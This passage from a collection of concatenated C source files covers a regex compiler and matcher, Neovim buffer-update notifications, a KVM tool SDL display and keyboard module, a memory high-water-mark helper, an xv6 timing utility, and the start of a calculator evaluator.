switch (c) {
case '\0':
return REREX_UNEXPECTED_END;
case '\\':
return read_escape(input, out);
default:
break;
}
if (is_special(c)) {
return REREX_UNEXPECTED_SPECIAL;
}
if (c >= cmin && c <= cmax) {
*out = eat(input);
return REREX_SUCCESS;
}
return REREX_EXPECTED_CHAR;
}
// ELEMENT ::= ([#x20-#x7E] - ']') | ('\' ']')
static RerexStatus
read_element(Input* const input, char* const out)
{
const char c = peek(input);
switch (c) {
case '\0':
return REREX_UNEXPECTED_END;
case ']':
return REREX_UNEXPECTED_SPECIAL;
case '\\':
eat(input);
if (peek(input) != ']') {
return REREX_EXPECTED_RBRACKET;
}
*out = eat(input);
return REREX_SUCCESS;
default:
break;
}
if (c >= cmin && c <= cmax) {
*out = eat(input);
return REREX_SUCCESS;
}
return REREX_EXPECTED_ELEMENT;
}
// Range ::= ELEMENT | ELEMENT '-' ELEMENT
static RerexStatus
read_range(Input* const input,
StateArray* const states,
const bool negated,
Automata* const out)
{
RerexStatus st = REREX_SUCCESS;
char min = 0;
char max = 0;
// Read the first (or only) character
if ((st = read_element(input, &min))) {
return st;
}
// Handle '-' which is a bit hairy because it may or may not be special
if (peek(input) == '-') {
switch (peekahead(input)) {
case ']':
// Weird case like [a-] where '-' is a character
max = min;
break;
default:
// Normal range like [a-z] (note that '[' isn't special here)
eat(input);
if ((st = read_element(input, &max))) {
return st;
}
break;
}
} else {
// Single character element
max = min;
}
if (max < min) {
return REREX_UNORDERED_RANGE;
}
const StateIndex end = add_state(states, match_state());
if (negated) {
const char emin = (char)(min - 1);
const char emax = (char)(max + 1);
const StateIndex low = add_state(states, range_state(cmin, emin, end));
const StateIndex high = add_state(states, range_state(emax, cmax, end));
const StateIndex fork = add_state(states, split_state(low, high));
*out = make_automata(fork, end);
} else {
const StateIndex start = add_state(states, range_state(min, max, end));
*out = make_automata(start, end);
}
return st;
}
// Set ::= Range | Range Set
static RerexStatus
read_set(Input* const input, StateArray* const states, Automata* const out)
{
RerexStatus st = REREX_SUCCESS;
bool negated = false;
if (peek(input) == '^') {
eat(input);
negated = true;
}
Automata nfa = {NO_STATE, NO_STATE};
if ((st = read_range(input, states, negated, &nfa))) {
return st;
}
while (peek(input) != ']') {
Automata range_nfa = {NO_STATE, NO_STATE};
if ((st = read_range(input, states, negated, &range_nfa))) {
return st;
}
nfa = alternate(states, nfa, range_nfa);
}
*out = nfa;
return st;
}
// Atom ::= CHAR | DOT | '(' Expr ')' | '[' Set ']'
static RerexStatus
read_atom(Input* const input, StateArray* const states, Automata* const out)
{
RerexStatus st = REREX_SUCCESS;
switch (peek(input)) {
case '(':
eat(input);
if ((st = read_expr(input, states, out))) {
return st;
}
if (peek(input) != ')') {
return REREX_EXPECTED_RPAREN;
}
eat(input);
return st;
case '.':
return read_dot(input, states, out);
case '[':
eat(input);
if ((st = read_set(input, states, out))) {
return st;
}
eat(input);
return st;
default:
break;
}
char c = 0;
if ((st = read_char(input, &c))) {
return st;
}
const StateIndex end = add_state(states, match_state());
const StateIndex start = add_state(states, range_state(c, c, end));
*out = make_automata(start, end);
return st;
}
// OPERATOR ::= '*' | '+' | '?'
// Factor ::= Atom | Atom OPERATOR
static RerexStatus
read_factor(Input* const input, StateArray* const states, Automata* const out)
{
RerexStatus st = REREX_SUCCESS;
Automata atom_nfa = {NO_STATE, NO_STATE};
if (!(st = read_atom(input, states, &atom_nfa))) {
const char c = peek(input);
switch (c) {
case '*':
eat(input);
*out = star(states, atom_nfa);
break;
case '+':
eat(input);
*out = plus(states, atom_nfa);
break;
case '?':
eat(input);
*out = question(states, atom_nfa);
break;
default:
*out = atom_nfa;
break;
}
}
return st;
}
// Term ::= Factor | Factor Term
static RerexStatus
read_term(Input* const input, StateArray* const states, Automata* const out)
{
RerexStatus st = REREX_SUCCESS;
Automata factor_nfa = {NO_STATE, NO_STATE};
Automata term_nfa = {NO_STATE, NO_STATE};
if (!(st = read_factor(input, states, &factor_nfa))) {
switch (peek(input)) {
case '\0':
case ')':
case '|':
*out = factor_nfa;
break;
default:
if (!(st = read_term(input, states, &term_nfa))) {
*out = concatenate(states, factor_nfa, term_nfa);
}
break;
}
}
return st;
}
// Expr ::= Term | Term '|' Expr
static RerexStatus
read_expr(Input* const input, StateArray* const states, Automata* const out)
{
RerexStatus st = REREX_SUCCESS;
Automata term_nfa = {NO_STATE, NO_STATE};
Automata expr_nfa = {NO_STATE, NO_STATE};
if ((st = read_term(input, states, &term_nfa))) {
return st;
}
if (peek(input) == '|') {
eat(input);
if (!(st = read_expr(input, states, &expr_nfa))) {
*out = alternate(states, term_nfa, expr_nfa);
}
} else {
*out = term_nfa;
}
return st;
}
/* Pattern.
A pattern is simply an array of states and an index to the start state. The
end state(s) are known because they have type REREX_MATCH. A pattern is
immutable after construction, the matcher does not modify it.
*/
struct RerexPatternImpl {
StateArray states;
StateIndex start;
};
void
rerex_free_pattern(RerexPattern* const regexp)
{
free(regexp->states.states);
free(regexp);
}
RerexStatus
rerex_compile(const char* const pattern,
size_t* const end,
RerexPattern** const out)
{
Input input = {pattern, 0};
Automata nfa = {NO_STATE, NO_STATE};
StateArray states = {NULL, 0};
// Add null state so that no actual state has NO_STATE as an ID
add_state(&states, split_state(NO_STATE, NO_STATE));
const RerexStatus st = read_expr(&input, &states, &nfa);
if (st) {
free(states.states);
} else {
*out = (RerexPattern*)malloc(sizeof(RerexPattern));
(*out)->states = states;
(*out)->start = nfa.start;
}
*end = input.offset;
return st;
}
/* Matcher */
typedef struct {
StateIndex* indices; // Array of state indices
size_t n_indices; // Number of elements in indices
} IndexList;
/* Matcher.
The matcher tracks active states by keeping two lists of indices: one for
the current iteration, and one for the next. A separate array, keyed by
state index, stores the number of the last iteration the state was entered
in. This makes it simple and fast to check if a state has already been
entered in the current iteration, avoiding the need to search the active
list for every entered state.
*/
struct RerexMatcherImpl {
const RerexPattern* regexp; // Pattern to match against
IndexList active[2]; // Two lists of active states
size_t* last_active; // Last iteration a state was active
};
RerexMatcher*
rerex_new_matcher(const RerexPattern* const regexp)
{
const size_t n_states = regexp->states.n_states;
RerexMatcher* const m = (RerexMatcher*)calloc(1, sizeof(RerexMatcher));
m->regexp = regexp;
m->active[0].indices = (StateIndex*)calloc(n_states, sizeof(StateIndex));
m->active[1].indices = (StateIndex*)calloc(n_states, sizeof(StateIndex));
m->last_active = (size_t*)calloc(n_states, sizeof(size_t));
return m;
}
void
rerex_free_matcher(RerexMatcher* const matcher)
{
free(matcher->last_active);
free(matcher->active[1].indices);
free(matcher->active[0].indices);
free(matcher);
}
// Add `s` and any epsilon successors to the active list
static void
enter_state(RerexMatcher* const matcher,
const size_t step,
IndexList* const list,
const StateIndex s)
{
const StateArray* const states = &matcher->regexp->states;
if (s && matcher->last_active[s] != step) {
matcher->last_active[s] = step;
const State* const state = &states->states[s];
if (state->min == REREX_SPLIT) {
enter_state(matcher, step, list, state->next1);
enter_state(matcher, step, list, state->next2);
} else {
list->indices[list->n_indices++] = s;
}
}
}
// Run `matcher` and return true if `string` matches the expression
bool
rerex_match(RerexMatcher* const matcher, const char* const string)
{
const StateArray* const states = &matcher->regexp->states;
// Reset matcher to a consistent initial state
matcher->active[0].n_indices = 0;
matcher->active[1].n_indices = 0;
for (size_t i = 0; i < states->n_states; ++i) {
matcher->last_active[i] = SIZE_MAX;
}
// Enter start state
enter_state(matcher, 0, &matcher->active[0], matcher->regexp->start);
// Tick the matcher for every input character
bool phase = 0;
for (size_t i = 0; string[i]; ++i) {
const char c = string[i];
IndexList* const list = &matcher->active[phase];
IndexList* const next_list = &matcher->active[!phase];
// Add successor states to the next iteration's list
next_list->n_indices = 0;
for (size_t j = 0; j < list->n_indices; ++j) {
const State* const state = &states->states[list->indices[j]];
if (state->min <= c && c <= state->max) {
enter_state(matcher, i + 1, next_list, state->next1);
}
}
// Flip phase to swap active lists
phase = !phase;
}
// Check if match state is entered in the end
IndexList* const active = &matcher->active[phase];
for (size_t i = 0; i < active->n_indices; ++i) {
if (states->states[active->indices[i]].min == REREX_MATCH) {
return true;
}
}
return false;
}
|
756421.c | // This is an open source non-commercial project. Dear PVS-Studio, please check
// it. PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com
#include "nvim/buffer_updates.h"
#include "nvim/extmark.h"
#include "nvim/memline.h"
#include "nvim/api/private/helpers.h"
#include "nvim/msgpack_rpc/channel.h"
#include "nvim/lua/executor.h"
#include "nvim/assert.h"
#include "nvim/buffer.h"
#ifdef INCLUDE_GENERATED_DECLARATIONS
# include "buffer_updates.c.generated.h"
#endif
// Register a channel. Return True if the channel was added, or already added.
// Return False if the channel couldn't be added because the buffer is
// unloaded.
bool buf_updates_register(buf_T *buf, uint64_t channel_id,
BufUpdateCallbacks cb, bool send_buffer)
{
// must fail if the buffer isn't loaded
if (buf->b_ml.ml_mfp == NULL) {
return false;
}
if (channel_id == LUA_INTERNAL_CALL) {
kv_push(buf->update_callbacks, cb);
if (cb.utf_sizes) {
buf->update_need_codepoints = true;
}
return true;
}
// count how many channels are currently watching the buffer
size_t size = kv_size(buf->update_channels);
if (size) {
for (size_t i = 0; i < size; i++) {
if (kv_A(buf->update_channels, i) == channel_id) {
// buffer is already registered ... nothing to do
return true;
}
}
}
// append the channelid to the list
kv_push(buf->update_channels, channel_id);
if (send_buffer) {
Array args = ARRAY_DICT_INIT;
args.size = 6;
args.items = xcalloc(sizeof(Object), args.size);
// the first argument is always the buffer handle
args.items[0] = BUFFER_OBJ(buf->handle);
args.items[1] = INTEGER_OBJ(buf_get_changedtick(buf));
// the first line that changed (zero-indexed)
args.items[2] = INTEGER_OBJ(0);
// the last line that was changed
args.items[3] = INTEGER_OBJ(-1);
Array linedata = ARRAY_DICT_INIT;
// collect buffer contents
STATIC_ASSERT(SIZE_MAX >= MAXLNUM, "size_t smaller than MAXLNUM");
size_t line_count = (size_t)buf->b_ml.ml_line_count;
if (line_count >= 1) {
linedata.size = line_count;
linedata.items = xcalloc(sizeof(Object), line_count);
buf_collect_lines(buf, line_count, 1, true, &linedata, NULL);
}
args.items[4] = ARRAY_OBJ(linedata);
args.items[5] = BOOLEAN_OBJ(false);
rpc_send_event(channel_id, "nvim_buf_lines_event", args);
} else {
buf_updates_changedtick_single(buf, channel_id);
}
return true;
}
bool buf_updates_active(buf_T *buf)
{
return kv_size(buf->update_channels) || kv_size(buf->update_callbacks);
}
void buf_updates_send_end(buf_T *buf, uint64_t channelid)
{
Array args = ARRAY_DICT_INIT;
args.size = 1;
args.items = xcalloc(sizeof(Object), args.size);
args.items[0] = BUFFER_OBJ(buf->handle);
rpc_send_event(channelid, "nvim_buf_detach_event", args);
}
void buf_updates_unregister(buf_T *buf, uint64_t channelid)
{
size_t size = kv_size(buf->update_channels);
if (!size) {
return;
}
// go through list backwards and remove the channel id each time it appears
// (it should never appear more than once)
size_t j = 0;
size_t found = 0;
for (size_t i = 0; i < size; i++) {
if (kv_A(buf->update_channels, i) == channelid) {
found++;
} else {
// copy item backwards into prior slot if needed
if (i != j) {
kv_A(buf->update_channels, j) = kv_A(buf->update_channels, i);
}
j++;
}
}
if (found) {
// remove X items from the end of the array
buf->update_channels.size -= found;
// make a new copy of the active array without the channelid in it
buf_updates_send_end(buf, channelid);
if (found == size) {
kv_destroy(buf->update_channels);
kv_init(buf->update_channels);
}
}
}
void buf_updates_unregister_all(buf_T *buf)
{
size_t size = kv_size(buf->update_channels);
if (size) {
for (size_t i = 0; i < size; i++) {
buf_updates_send_end(buf, kv_A(buf->update_channels, i));
}
kv_destroy(buf->update_channels);
kv_init(buf->update_channels);
}
for (size_t i = 0; i < kv_size(buf->update_callbacks); i++) {
BufUpdateCallbacks cb = kv_A(buf->update_callbacks, i);
if (cb.on_detach != LUA_NOREF) {
Array args = ARRAY_DICT_INIT;
Object items[1];
args.size = 1;
args.items = items;
// the first argument is always the buffer handle
args.items[0] = BUFFER_OBJ(buf->handle);
textlock++;
nlua_call_ref(cb.on_detach, "detach", args, false, NULL);
textlock--;
}
free_update_callbacks(cb);
}
kv_destroy(buf->update_callbacks);
kv_init(buf->update_callbacks);
}
void buf_updates_send_changes(buf_T *buf,
linenr_T firstline,
int64_t num_added,
int64_t num_removed,
bool send_tick)
{
size_t deleted_codepoints, deleted_codeunits;
size_t deleted_bytes = ml_flush_deleted_bytes(buf, &deleted_codepoints,
&deleted_codeunits);
if (!buf_updates_active(buf)) {
return;
}
// if one the channels doesn't work, put its ID here so we can remove it later
uint64_t badchannelid = 0;
// notify each of the active channels
for (size_t i = 0; i < kv_size(buf->update_channels); i++) {
uint64_t channelid = kv_A(buf->update_channels, i);
// send through the changes now channel contents now
Array args = ARRAY_DICT_INIT;
args.size = 6;
args.items = xcalloc(sizeof(Object), args.size);
// the first argument is always the buffer handle
args.items[0] = BUFFER_OBJ(buf->handle);
// next argument is b:changedtick
args.items[1] = send_tick ? INTEGER_OBJ(buf_get_changedtick(buf)) : NIL;
// the first line that changed (zero-indexed)
args.items[2] = INTEGER_OBJ(firstline - 1);
// the last line that was changed
args.items[3] = INTEGER_OBJ(firstline - 1 + num_removed);
// linedata of lines being swapped in
Array linedata = ARRAY_DICT_INIT;
if (num_added > 0) {
STATIC_ASSERT(SIZE_MAX >= MAXLNUM, "size_t smaller than MAXLNUM");
linedata.size = (size_t)num_added;
linedata.items = xcalloc(sizeof(Object), (size_t)num_added);
buf_collect_lines(buf, (size_t)num_added, firstline, true, &linedata,
NULL);
}
args.items[4] = ARRAY_OBJ(linedata);
args.items[5] = BOOLEAN_OBJ(false);
if (!rpc_send_event(channelid, "nvim_buf_lines_event", args)) {
// We can't unregister the channel while we're iterating over the
// update_channels array, so we remember its ID to unregister it at
// the end.
badchannelid = channelid;
}
}
// We can only ever remove one dead channel at a time. This is OK because the
// change notifications are so frequent that many dead channels will be
// cleared up quickly.
if (badchannelid != 0) {
ELOG("Disabling buffer updates for dead channel %"PRIu64, badchannelid);
buf_updates_unregister(buf, badchannelid);
}
// notify each of the active channels
size_t j = 0;
for (size_t i = 0; i < kv_size(buf->update_callbacks); i++) {
BufUpdateCallbacks cb = kv_A(buf->update_callbacks, i);
bool keep = true;
if (cb.on_lines != LUA_NOREF && (cb.preview || !(State & CMDPREVIEW))) {
Array args = ARRAY_DICT_INIT;
Object items[8];
args.size = 6; // may be increased to 8 below
args.items = items;
// the first argument is always the buffer handle
args.items[0] = BUFFER_OBJ(buf->handle);
// next argument is b:changedtick
args.items[1] = send_tick ? INTEGER_OBJ(buf_get_changedtick(buf)) : NIL;
// the first line that changed (zero-indexed)
args.items[2] = INTEGER_OBJ(firstline - 1);
// the last line that was changed
args.items[3] = INTEGER_OBJ(firstline - 1 + num_removed);
// the last line in the updated range
args.items[4] = INTEGER_OBJ(firstline - 1 + num_added);
// byte count of previous contents
args.items[5] = INTEGER_OBJ((Integer)deleted_bytes);
if (cb.utf_sizes) {
args.size = 8;
args.items[6] = INTEGER_OBJ((Integer)deleted_codepoints);
args.items[7] = INTEGER_OBJ((Integer)deleted_codeunits);
}
textlock++;
Object res = nlua_call_ref(cb.on_lines, "lines", args, true, NULL);
textlock--;
if (res.type == kObjectTypeBoolean && res.data.boolean == true) {
free_update_callbacks(cb);
keep = false;
}
api_free_object(res);
}
if (keep) {
kv_A(buf->update_callbacks, j++) = kv_A(buf->update_callbacks, i);
}
}
kv_size(buf->update_callbacks) = j;
}
void buf_updates_send_splice(
buf_T *buf,
int start_row, colnr_T start_col, bcount_t start_byte,
int old_row, colnr_T old_col, bcount_t old_byte,
int new_row, colnr_T new_col, bcount_t new_byte)
{
if (!buf_updates_active(buf)
|| (old_byte == 0 && new_byte == 0)) {
return;
}
// notify each of the active callbakcs
size_t j = 0;
for (size_t i = 0; i < kv_size(buf->update_callbacks); i++) {
BufUpdateCallbacks cb = kv_A(buf->update_callbacks, i);
bool keep = true;
if (cb.on_bytes != LUA_NOREF && (cb.preview || !(State & CMDPREVIEW))) {
FIXED_TEMP_ARRAY(args, 11);
// the first argument is always the buffer handle
args.items[0] = BUFFER_OBJ(buf->handle);
// next argument is b:changedtick
args.items[1] = INTEGER_OBJ(buf_get_changedtick(buf));
args.items[2] = INTEGER_OBJ(start_row);
args.items[3] = INTEGER_OBJ(start_col);
args.items[4] = INTEGER_OBJ(start_byte);
args.items[5] = INTEGER_OBJ(old_row);
args.items[6] = INTEGER_OBJ(old_col);
args.items[7] = INTEGER_OBJ(old_byte);
args.items[8] = INTEGER_OBJ(new_row);
args.items[9] = INTEGER_OBJ(new_col);
args.items[10] = INTEGER_OBJ(new_byte);
textlock++;
Object res = nlua_call_ref(cb.on_bytes, "bytes", args, true, NULL);
textlock--;
if (res.type == kObjectTypeBoolean && res.data.boolean == true) {
free_update_callbacks(cb);
keep = false;
}
}
if (keep) {
kv_A(buf->update_callbacks, j++) = kv_A(buf->update_callbacks, i);
}
}
kv_size(buf->update_callbacks) = j;
}
void buf_updates_changedtick(buf_T *buf)
{
// notify each of the active channels
for (size_t i = 0; i < kv_size(buf->update_channels); i++) {
uint64_t channel_id = kv_A(buf->update_channels, i);
buf_updates_changedtick_single(buf, channel_id);
}
size_t j = 0;
for (size_t i = 0; i < kv_size(buf->update_callbacks); i++) {
BufUpdateCallbacks cb = kv_A(buf->update_callbacks, i);
bool keep = true;
if (cb.on_changedtick != LUA_NOREF) {
FIXED_TEMP_ARRAY(args, 2);
// the first argument is always the buffer handle
args.items[0] = BUFFER_OBJ(buf->handle);
// next argument is b:changedtick
args.items[1] = INTEGER_OBJ(buf_get_changedtick(buf));
textlock++;
Object res = nlua_call_ref(cb.on_changedtick, "changedtick",
args, true, NULL);
textlock--;
if (res.type == kObjectTypeBoolean && res.data.boolean == true) {
free_update_callbacks(cb);
keep = false;
}
api_free_object(res);
}
if (keep) {
kv_A(buf->update_callbacks, j++) = kv_A(buf->update_callbacks, i);
}
}
kv_size(buf->update_callbacks) = j;
}
void buf_updates_changedtick_single(buf_T *buf, uint64_t channel_id)
{
Array args = ARRAY_DICT_INIT;
args.size = 2;
args.items = xcalloc(sizeof(Object), args.size);
// the first argument is always the buffer handle
args.items[0] = BUFFER_OBJ(buf->handle);
// next argument is b:changedtick
args.items[1] = INTEGER_OBJ(buf_get_changedtick(buf));
// don't try and clean up dead channels here
rpc_send_event(channel_id, "nvim_buf_changedtick_event", args);
}
static void free_update_callbacks(BufUpdateCallbacks cb)
{
api_free_luaref(cb.on_lines);
api_free_luaref(cb.on_changedtick);
}
|
698654.c | #include "kvm/sdl.h"
#include "kvm/framebuffer.h"
#include "kvm/i8042.h"
#include "kvm/util.h"
#include "kvm/kvm.h"
#include "kvm/kvm-cpu.h"
#include "kvm/vesa.h"
#include <SDL/SDL.h>
#include <pthread.h>
#include <signal.h>
#include <linux/err.h>
#define FRAME_RATE 25
#define SCANCODE_UNKNOWN 0
#define SCANCODE_NORMAL 1
#define SCANCODE_ESCAPED 2
#define SCANCODE_KEY_PAUSE 3
#define SCANCODE_KEY_PRNTSCRN 4
struct set2_scancode {
u8 code;
u8 type;
};
#define DEFINE_SC(_code) {\
.code = _code,\
.type = SCANCODE_NORMAL,\
}
/* escaped scancodes */
#define DEFINE_ESC(_code) {\
.code = _code,\
.type = SCANCODE_ESCAPED,\
}
static const struct set2_scancode keymap[256] = {
[9] = DEFINE_SC(0x76), /* <esc> */
[10] = DEFINE_SC(0x16), /* 1 */
[11] = DEFINE_SC(0x1e), /* 2 */
[12] = DEFINE_SC(0x26), /* 3 */
[13] = DEFINE_SC(0x25), /* 4 */
[14] = DEFINE_SC(0x2e), /* 5 */
[15] = DEFINE_SC(0x36), /* 6 */
[16] = DEFINE_SC(0x3d), /* 7 */
[17] = DEFINE_SC(0x3e), /* 8 */
[18] = DEFINE_SC(0x46), /* 9 */
[19] = DEFINE_SC(0x45), /* 9 */
[20] = DEFINE_SC(0x4e), /* - */
[21] = DEFINE_SC(0x55), /* + */
[22] = DEFINE_SC(0x66), /* <backspace> */
[23] = DEFINE_SC(0x0d), /* <tab> */
[24] = DEFINE_SC(0x15), /* q */
[25] = DEFINE_SC(0x1d), /* w */
[26] = DEFINE_SC(0x24), /* e */
[27] = DEFINE_SC(0x2d), /* r */
[28] = DEFINE_SC(0x2c), /* t */
[29] = DEFINE_SC(0x35), /* y */
[30] = DEFINE_SC(0x3c), /* u */
[31] = DEFINE_SC(0x43), /* i */
[32] = DEFINE_SC(0x44), /* o */
[33] = DEFINE_SC(0x4d), /* p */
[34] = DEFINE_SC(0x54), /* [ */
[35] = DEFINE_SC(0x5b), /* ] */
[36] = DEFINE_SC(0x5a), /* <enter> */
[37] = DEFINE_SC(0x14), /* <left ctrl> */
[38] = DEFINE_SC(0x1c), /* a */
[39] = DEFINE_SC(0x1b), /* s */
[40] = DEFINE_SC(0x23), /* d */
[41] = DEFINE_SC(0x2b), /* f */
[42] = DEFINE_SC(0x34), /* g */
[43] = DEFINE_SC(0x33), /* h */
[44] = DEFINE_SC(0x3b), /* j */
[45] = DEFINE_SC(0x42), /* k */
[46] = DEFINE_SC(0x4b), /* l */
[47] = DEFINE_SC(0x4c), /* ; */
[48] = DEFINE_SC(0x52), /* ' */
[49] = DEFINE_SC(0x0e), /* ` */
[50] = DEFINE_SC(0x12), /* <left shift> */
[51] = DEFINE_SC(0x5d), /* \ */
[52] = DEFINE_SC(0x1a), /* z */
[53] = DEFINE_SC(0x22), /* x */
[54] = DEFINE_SC(0x21), /* c */
[55] = DEFINE_SC(0x2a), /* v */
[56] = DEFINE_SC(0x32), /* b */
[57] = DEFINE_SC(0x31), /* n */
[58] = DEFINE_SC(0x3a), /* m */
[59] = DEFINE_SC(0x41), /* < */
[60] = DEFINE_SC(0x49), /* > */
[61] = DEFINE_SC(0x4a), /* / */
[62] = DEFINE_SC(0x59), /* <right shift> */
[63] = DEFINE_SC(0x7c), /* keypad * */
[64] = DEFINE_SC(0x11), /* <left alt> */
[65] = DEFINE_SC(0x29), /* <space> */
[67] = DEFINE_SC(0x05), /* <F1> */
[68] = DEFINE_SC(0x06), /* <F2> */
[69] = DEFINE_SC(0x04), /* <F3> */
[70] = DEFINE_SC(0x0c), /* <F4> */
[71] = DEFINE_SC(0x03), /* <F5> */
[72] = DEFINE_SC(0x0b), /* <F6> */
[73] = DEFINE_SC(0x83), /* <F7> */
[74] = DEFINE_SC(0x0a), /* <F8> */
[75] = DEFINE_SC(0x01), /* <F9> */
[76] = DEFINE_SC(0x09), /* <F10> */
[79] = DEFINE_SC(0x6c), /* keypad 7 */
[80] = DEFINE_SC(0x75), /* keypad 8 */
[81] = DEFINE_SC(0x7d), /* keypad 9 */
[82] = DEFINE_SC(0x7b), /* keypad - */
[83] = DEFINE_SC(0x6b), /* keypad 4 */
[84] = DEFINE_SC(0x73), /* keypad 5 */
[85] = DEFINE_SC(0x74), /* keypad 6 */
[86] = DEFINE_SC(0x79), /* keypad + */
[87] = DEFINE_SC(0x69), /* keypad 1 */
[88] = DEFINE_SC(0x72), /* keypad 2 */
[89] = DEFINE_SC(0x7a), /* keypad 3 */
[90] = DEFINE_SC(0x70), /* keypad 0 */
[91] = DEFINE_SC(0x71), /* keypad . */
[94] = DEFINE_SC(0x61), /* <INT 1> */
[95] = DEFINE_SC(0x78), /* <F11> */
[96] = DEFINE_SC(0x07), /* <F12> */
[104] = DEFINE_ESC(0x5a), /* keypad <enter> */
[105] = DEFINE_ESC(0x14), /* <right ctrl> */
[106] = DEFINE_ESC(0x4a), /* keypad / */
[108] = DEFINE_ESC(0x11), /* <right alt> */
[110] = DEFINE_ESC(0x6c), /* <home> */
[111] = DEFINE_ESC(0x75), /* <up> */
[112] = DEFINE_ESC(0x7d), /* <pag up> */
[113] = DEFINE_ESC(0x6b), /* <left> */
[114] = DEFINE_ESC(0x74), /* <right> */
[115] = DEFINE_ESC(0x69), /* <end> */
[116] = DEFINE_ESC(0x72), /* <down> */
[117] = DEFINE_ESC(0x7a), /* <pag down> */
[118] = DEFINE_ESC(0x70), /* <ins> */
[119] = DEFINE_ESC(0x71), /* <delete> */
};
static bool running, done;
static const struct set2_scancode *to_code(u8 scancode)
{
return &keymap[scancode];
}
static void key_press(const struct set2_scancode *sc)
{
switch (sc->type) {
case SCANCODE_ESCAPED:
kbd_queue(0xe0);
/* fallthrough */
case SCANCODE_NORMAL:
kbd_queue(sc->code);
break;
case SCANCODE_KEY_PAUSE:
kbd_queue(0xe1);
kbd_queue(0x14);
kbd_queue(0x77);
kbd_queue(0xe1);
kbd_queue(0xf0);
kbd_queue(0x14);
kbd_queue(0x77);
break;
case SCANCODE_KEY_PRNTSCRN:
kbd_queue(0xe0);
kbd_queue(0x12);
kbd_queue(0xe0);
kbd_queue(0x7c);
break;
}
}
static void key_release(const struct set2_scancode *sc)
{
switch (sc->type) {
case SCANCODE_ESCAPED:
kbd_queue(0xe0);
/* fallthrough */
case SCANCODE_NORMAL:
kbd_queue(0xf0);
kbd_queue(sc->code);
break;
case SCANCODE_KEY_PAUSE:
/* nothing to do */
break;
case SCANCODE_KEY_PRNTSCRN:
kbd_queue(0xe0);
kbd_queue(0xf0);
kbd_queue(0x7c);
kbd_queue(0xe0);
kbd_queue(0xf0);
kbd_queue(0x12);
break;
}
}
static void *sdl__thread(void *p)
{
Uint32 rmask, gmask, bmask, amask;
struct framebuffer *fb = p;
SDL_Surface *guest_screen;
SDL_Surface *screen;
SDL_Event ev;
Uint32 flags;
kvm__set_thread_name("kvm-sdl-worker");
if (SDL_Init(SDL_INIT_VIDEO) != 0)
die("Unable to initialize SDL");
rmask = 0x000000ff;
gmask = 0x0000ff00;
bmask = 0x00ff0000;
amask = 0x00000000;
guest_screen = SDL_CreateRGBSurfaceFrom(fb->mem, fb->width, fb->height, fb->depth, fb->width * fb->depth / 8, rmask, gmask, bmask, amask);
if (!guest_screen)
die("Unable to create SDL RBG surface");
flags = SDL_HWSURFACE | SDL_ASYNCBLIT | SDL_HWACCEL | SDL_DOUBLEBUF;
SDL_WM_SetCaption("KVM tool", "KVM tool");
screen = SDL_SetVideoMode(fb->width, fb->height, fb->depth, flags);
if (!screen)
die("Unable to set SDL video mode");
SDL_EnableKeyRepeat(200, 50);
while (running) {
SDL_BlitSurface(guest_screen, NULL, screen, NULL);
SDL_Flip(screen);
while (SDL_PollEvent(&ev)) {
switch (ev.type) {
case SDL_KEYDOWN: {
const struct set2_scancode *sc = to_code(ev.key.keysym.scancode);
if (sc->type == SCANCODE_UNKNOWN) {
pr_warning("key '%d' not found in keymap", ev.key.keysym.scancode);
break;
}
key_press(sc);
break;
}
case SDL_KEYUP: {
const struct set2_scancode *sc = to_code(ev.key.keysym.scancode);
if (sc->type == SCANCODE_UNKNOWN)
break;
key_release(sc);
break;
}
case SDL_QUIT:
goto exit;
}
}
SDL_Delay(1000 / FRAME_RATE);
}
if (running == false && done == false) {
done = true;
return NULL;
}
exit:
done = true;
kvm__reboot(fb->kvm);
return NULL;
}
static int sdl__start(struct framebuffer *fb)
{
pthread_t thread;
running = true;
if (pthread_create(&thread, NULL, sdl__thread, fb) != 0)
return -1;
return 0;
}
static int sdl__stop(struct framebuffer *fb)
{
running = false;
while (done == false)
sleep(0);
return 0;
}
static struct fb_target_operations sdl_ops = {
.start = sdl__start,
.stop = sdl__stop,
};
int sdl__init(struct kvm *kvm)
{
struct framebuffer *fb;
if (!kvm->cfg.sdl)
return 0;
fb = vesa__init(kvm);
if (IS_ERR(fb)) {
pr_err("vesa__init() failed with error %ld\n", PTR_ERR(fb));
return PTR_ERR(fb);
}
return fb__attach(fb, &sdl_ops);
}
dev_init(sdl__init);
int sdl__exit(struct kvm *kvm)
{
if (kvm->cfg.sdl)
return sdl__stop(NULL);
return 0;
}
dev_exit(sdl__exit);
|
311285.c | /* Copyright 2014 Andreas Marek, Lorenz Hüdepohl
*
* This file is part of ftimings.
*
* ftimings is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* ftimings is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with ftimings. If not, see <http://www.gnu.org/licenses/>.
*/
#include <sys/types.h>
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
long ftimings_highwater_mark() {
long hwm = 0L;
char line[1024];
FILE* fp = NULL;
if ((fp = fopen( "/proc/self/status", "r" )) == NULL ) {
return 0L;
}
/* Read memory size data from /proc/pid/status */
while(fgets(line, sizeof line, fp)) {
if (sscanf(line, "VmHWM: %ld kB", &hwm) == 1) {
break;
}
}
fclose(fp);
return hwm * 1024L;
}
|
610950.c | #include "types.h"
#include "stat.h"
#include "user.h"
#include "fcntl.h"
#include "fs.h"
int main(int argc, char *argv[])
{
int pid;
int status = 0, a, b;
if (argc < 2)
{
printf(1, "Usage: time <process>\n");
exit();
}
else
{
pid = fork();
if (pid == 0)
{
exec(argv[1], argv);
printf(1, "Exec %s Failed\n", argv[1]);
exit();
}
else
{
status = waitx(&a, &b);
printf(1, "Wait Time = %d\nRun Time = %d \nWith Status %d \n", a, b, status);
}
}
exit();
}
|
176791.c | #include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <math.h>
#define CHECKMALLOC(var) if((var) == NULL) {printf("ERROR: malloc\n");abort();}
#define MAXOPSTACK 64
#define MAXNUMSTACK 64
// TODO Arduino Refactor
char get_keypress() {
return (char)getchar();
}
float eval_add(float a1, float a2) { return a1+a2; }
float eval_sub(float a1, float a2) { return a1-a2; }
float eval_uminus(float a1, float a2) { return -a1; }
